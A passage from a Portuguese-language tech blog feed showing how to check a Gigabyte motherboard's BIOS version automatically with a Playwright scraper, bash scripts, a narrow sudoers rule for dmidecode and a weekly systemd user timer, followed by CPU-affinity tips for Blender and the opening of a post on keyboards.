    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Crie um arquivo <code>check_bios_playwright.js</code> com este conteúdo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">{</span> <span class="nx">chromium</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;playwright&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kr">async</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">browser</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">chromium</span><span class="p">.</span><span class="nx">launch</span><span class="p">({</span> <span class="nx">headless</span><span class="o">:</span> <span class="kc">true</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">page</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">browser</span><span class="p">.</span><span class="nx">newPage</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Load support page
</span></span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="kr">goto</span><span class="p">(</span><span class="s1">&#39;https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">waitUntil</span><span class="o">:</span> <span class="s1">&#39;domcontentloaded&#39;</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Click the BIOS tab manually (it triggers JS to fetch content)
</span></span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">click</span><span class="p">(</span><span class="s1">&#39;id=bios-count&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Wait for BIOS version element to load
</span></span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">waitForSelector</span><span class="p">(</span><span class="s1">&#39;.div-table-body-BIOS .download-version&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">timeout</span><span class="o">:</span> <span class="mi">60000</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Grab the first BIOS version listed
</span></span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">biosVersion</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">$eval</span><span class="p">(</span><span class="s1">&#39;.div-table-body-BIOS .download-version&#39;</span><span class="p">,</span> <span class="nx">el</span> <span class="p">=&gt;</span> <span class="nx">el</span><span class="p">.</span><span class="nx">innerText</span><span class="p">.</span><span class="nx">trim</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;🌐 Latest BIOS Version on Gigabyte site:&#39;</span><span class="p">,</span> <span class="nx">biosVersion</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">browser</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">})();</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Agora crie um script bash <code>check_bios_update.sh</code> com este conteúdo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get directory of this script (absolute path)</span>
</span></span><span class="line"><span class="cl"><span class="nv">SCRIPT_DIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span><span class="nb">cd</span> <span class="s2">&#34;</span><span class="k">$(</span>dirname <span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_SOURCE</span><span class="p">[0]</span><span class="si">}</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> <span class="o">&amp;&amp;</span> <span class="nb">pwd</span><span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get current BIOS version</span>
</span></span><span class="line"><span class="cl"><span class="nv">CURRENT</span><span class="o">=</span><span class="k">$(</span>sudo dmidecode -s bios-version <span class="p">|</span> tr -d <span class="s1">&#39;[:space:]&#39;</span> <span class="p">|</span> tr <span class="s1">&#39;[:lower:]&#39;</span> <span class="s1">&#39;[:upper:]&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Run the Playwright JS script in the same directory</span>
</span></span><span class="line"><span class="cl"><span class="nv">LATEST</span><span class="o">=</span><span class="k">$(</span>node <span class="s2">&#34;</span><span class="nv">$SCRIPT_DIR</span><span class="s2">/check_bios_playwright.js&#34;</span> <span class="p">|</span> grep -o <span class="s1">&#39;F[0-9]\+&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Output</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;🖥  Current BIOS: </span><span class="nv">$CURRENT</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;🌐 Latest BIOS:  </span><span class="nv">$LATEST</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$CURRENT</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;</span><span class="nv">$LATEST</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;✅ You are up to date.&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;⬆  BIOS update available!&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Faça um <code>chmod +x</code> pra tornar executável e, se tudo der certo, terá uma resposta como esta:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[sudo] password for akitaonrails:
🖥  Current BIOS: F33
🌐 Latest BIOS:  F33
✅ You are up to date.</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>É um tiro de canhão pra matar uma mosca, mas isso vai usar o Chromium headless pra puxar a página, carregar o javascript e aí usar seletores de CSS pra achar a versão da BIOS, comparar com o da sua máquina e ver se está atualizado.</p>
<p>Caso não esteja, não tem jeito, tem que ir manualmente no site, baixar o arquivo ZIP, extrair num pen drive e bootar na BIOS pra atualizar manualmente. Mas pelo menos consigo checar rapidamente de tempos em tempos só com uma linha de comando agora.</p>
<h2>Checagem automática de versão de BIOS<span class="hx:absolute hx:-mt-20" id="checagem-automática-de-versão-de-bios"></span>
    <a href="#checagem-autom%c3%a1tica-de-vers%c3%a3o-de-bios" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Resolvi que não quero lembrar rodar esse script manualmente, então a melhor coisa é criar um serviço systemd de usuário, e checar automaticamente toda semana. Se tiver versão nova, criar uma notificação ao GNOME pra eu poder ver visualmente e automaticamente mandar abrir a página de download pra mim.</p>
<p>Primeiro, preciso fazer meu usuário ter acesso ao comando dmidecode pra checar a versão atual da minha BIOS sem precisar digitar senha com <code>sudo</code>, pra isso vamos criar uma nova regra de sudoers assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo visudo -f /etc/sudoers.d/bios-check</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Vai abrir um arquivo vazio onde preencho assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo /usr/sbin/dmidecode -s bios-version</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E não esquecer de colocar a permissão correta nesse arquivo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo chmod 0440 /etc/sudoers.d/bios-check</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Com isso não vai mais pedir senha pra rodar esse comando, já que vamos colocar num serviço em background rodando automaticamente. Obviamente não é seguro permitir rodar <code>sudo</code> sem senha, por isso limitamos exclusivamente pra permitir isso somente nesse binário específico e nada mais.</p>
<p>No mesmo diretórios dos outros arquivos com playwright instalado e tudo mais, crio um <code>bios-update-check.sh</code> com este conteúdo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Path to your Playwright BIOS scraper script</span>
</span></span><span class="line"><span class="cl"><span class="nv">JS_CHECKER</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/bios-check/check_bios_playwright.js&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">NODE_BIN</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>which node<span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># URL of your motherboard&#39;s BIOS support page</span>
</span></span><span class="line"><span class="cl"><span class="nv">URL</span><span class="o">=</span><span class="s2">&#34;https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support#support-dl-bios&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get current BIOS version</span>
</span></span><span class="line"><span class="cl"><span class="nv">CURRENT</span><span class="o">=</span><span class="k">$(</span>sudo dmidecode -s bios-version <span class="p">|</span> tr -d <span class="s1">&#39;[:space:]&#39;</span> <span class="p">|</span> tr <span class="s1">&#39;[:lower:]&#39;</span> <span class="s1">&#39;[:upper:]&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get latest BIOS version from Gigabyte site</span>
</span></span><span class="line"><span class="cl"><span class="nv">LATEST</span><span class="o">=</span><span class="k">$(</span><span class="nv">$NODE_BIN</span> <span class="s2">&#34;</span><span class="nv">$JS_CHECKER</span><span class="s2">&#34;</span> <span class="p">|</span> grep -o <span class="s1">&#39;F[0-9]\+&#39;</span> <span class="p">|</span> head -1<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> -z <span class="s2">&#34;</span><span class="nv">$LATEST</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  notify-send <span class="s2">&#34;BIOS Check&#34;</span> <span class="s2">&#34;⚠️ Failed to fetch latest BIOS version from Gigabyte&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$CURRENT</span><span class="s2">&#34;</span> !<span class="o">=</span> <span class="s2">&#34;</span><span class="nv">$LATEST</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  notify-send -u normal <span class="s2">&#34;🔔 BIOS Update Available!&#34;</span> <span class="s2">&#34;Current: </span><span class="nv">$CURRENT</span><span class="s2"> → Latest: </span><span class="nv">$LATEST</span><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">Opening the download page...&#34;</span> --app-name<span class="o">=</span><span class="s2">&#34;BIOS Checker&#34;</span>
</span></span><span class="line"><span class="cl">  xdg-open <span class="s2">&#34;</span><span class="nv">$URL</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>É a mesma coisa do script anterior mas agora usando <code>notify-send</code> pra mandar mensagens pro Gnome (em KDE é diferente) e usando <code>xdg-open</code> pra abrir a URL no navegador default do sistema. Configure diferente pro seu sistema. Não esquecer de tornar executável e testar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>chmod &#43;x ~/.local/bin/bios-update-check.sh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Agora é criar o serviço systemd pro meu usuário (diferente de criar um pra sistema que roda com mais permissões. Só preciso disso rodando no nível do meu usuário), então crio o arquivo <code>~/.config/systemd/user/bios-check.service</code> com o seguinte conteúdo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Unit]
Description=Weekly BIOS version checker

[Service]
Type=oneshot
ExecStart=/home/akitaonrails/.local/bin/bios-check/bios-update-check.sh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Agora o serviço de timer pra rodar toda semana chamado <code>~/.config/systemd/user/bios-check.timer</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Unit]
Description=Run BIOS version check weekly

[Timer]
OnCalendar=weekly
Persistent=true

[Install]
WantedBy=default.target</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E habilitar o timer:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>systemctl --user daemon-reexec
systemctl --user daemon-reload
systemctl --user enable --now bios-check.timer</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Por convenção no Systemd, um timer [blabla].timer vai executar o serviço com mesmo nome [blabla].service. Por isso precisa dos dois. Se você habilitar o serviço direto, ele vai rodar só uma vez e sair. Pra saber se tá ativado certo faça o seguinte:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>✦ ❯ systemctl --user list-timers

NEXT                          LEFT LAST PASSED UNIT             ACTIVATES
Mon 2025-04-21 00:00:00 -03 2 days -         - bios-check.timer bios-check.service

1 timers listed.
Pass --all to see loaded but inactive timers, too.</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E é assim que você pode automatizar algumas coisas no seu sistema e aproveitar seu Gnome melhor.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Só comecei essa jornada desta vez porque me ocorreu que fazia meses que eu não atualizava o firmware da placa-mãe e aí aproveitei pra tunar algumas coisas que não tinha feito antes. Coisas como PBO estava no automático (então eu estava deixando performance pra trás, lembro que da última vez tinha ficado instável mas eu não fui atrás pra saber porque), coisas como XMP/EXPO já tava ligado. Mas agora eu acho que realmente liguei tudo que podia.</p>
<p>Também fazia anos que eu não experimentava a kernel Linux-Zen, então já aproveitei pra testar agora. E como falei, por enquanto tá estável. Como comecei a aprender Blender e puxar mais CPU e memória, achei que valia a pena gastar um tempo tentando extrair o máximo da minha máquina. Modelagem 3D é totalmente CPU/RAM, mais que GPU.</p>
<p>Ah sim, falando em Blender, uma última coisa. Lembra que meu Ryzen tem 1 CCD, que é aquele 1 die com 96MB de cache L3. Melhor coisa a fazer é criar afinidade do Blender com esse die e evitar que ele caia no core com só 32MB de cache L3.</p>
<p>No Linux, pra fazer isso, é esta linha de comando:</p>
<p><code>taskset -c 0-15 blender-4.3 &amp;</code></p>
<p>O comando taskset vai dar dica pro scheduler que o blender deve ficar nas threads de 0 a 15 (onde tem V-Cache) e não de 16 a 31 (que só tem 32MB). Dessa forma, em teoria, estou dando as maiores chances ao Blender de funcionar na melhor performance possível nesta máquina. Programas pouco importantes como o navegador, terminal, se cair no core de 32MB, não tem problema.</p>
<p>Eu faço a mesma coisa no libvirt/qemu quando rodo Windows emulado: eu configuro o libvirt pra subir a VM atrelado ao CCD de 96MB e deixo o outro core pro Linux host. Aliás, falando em BIOS, pra rodar VMs tem que habilitar SVM e IOMMU, que costumam vir desligados porque suporte a máquinas virtuais rouba um pouco da performance da CPU. Máxima performance é com eles <strong>desligados</strong>. Se você não vai usar VMs, deixe desligado.</p>
<p>E se alguém notou que estou rodando explicitamente o Blender 4.3 em vez do mais novo Blender 4.4 é porque alguns addons ainda não funcionam na versão mais nova, então é melhor ficar uma versão pra trás pra ter mais compatibilidade com addons que não atualizam rápido.</p>
]]></content:encoded><category>hardware</category><category>performance</category><category>linux</category></item><item><title>Meus Teclados Modernos Favoritos</title><link>https://akitaonrails.github.io/2024/10/24/meus-teclados-modernos-favoritos/</link><guid isPermaLink="true">https://akitaonrails.github.io/2024/10/24/meus-teclados-modernos-favoritos/</guid><pubDate>Thu, 24 Oct 2024 11:05:00 -0300</pubDate><description>&lt;p&gt;Pra quem acompanhou meu canal no YouTube, deve ter visto a trilogia de videos onde contei a história por trás de teclados, desmistifiquei os teclados mecânicos, os diversos componentes, modelos mais populares da época. E hoje estou de volta pra terminar falando dos meus teclados modernos mais interessantes e qual eu realmente uso todo dia.&lt;/p&gt;
&lt;p&gt;Se não assistiu, recomendo que assista a trilogia de videos depois:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=tEXX1jdpZN8"target="_blank" rel="noopener"&gt;Entendendo Teclados Mecânicos | Minha coleção - Parte 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=57axLgXkS_M"target="_blank" rel="noopener"&gt;Teclados Mecânicos Exóticos | Minha coleção - Parte 2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=78aw1muYWQM"target="_blank" rel="noopener"&gt;Caminho pro Melhor Teclado do Mundo!&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Primeiro Aviso:&lt;/strong&gt; antes que os chatos comentem. Sim, teclados mecânicos são caros. MUITO CAROS. Sim, dá pra escrever livros inteiros num teclado de 50 reais da Multilaser comprado na Kalunga. Não precisa ter switches mecânicos, não precisa de tecla PBT double-shot. Não precisa mudar de layout, qwerty staggered tradicional funciona muito bem. Não precisa de unibody de alumínio. Não precisa de RGB. Não precisa gastar R$ 2.500 num modelo topo de linha. Definitivamente não precisa. Quem faz a obra-prima é o autor e não o teclado.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Pra quem acompanhou meu canal no YouTube, deve ter visto a trilogia de videos onde contei a história por trás de teclados, desmistifiquei os teclados mecânicos, os diversos componentes, modelos mais populares da época. E hoje estou de volta pra terminar falando dos meus teclados modernos mais interessantes e qual eu realmente uso todo dia.</p>
<p>Se não assistiu, recomendo que assista a trilogia de videos depois:</p>
<ul>
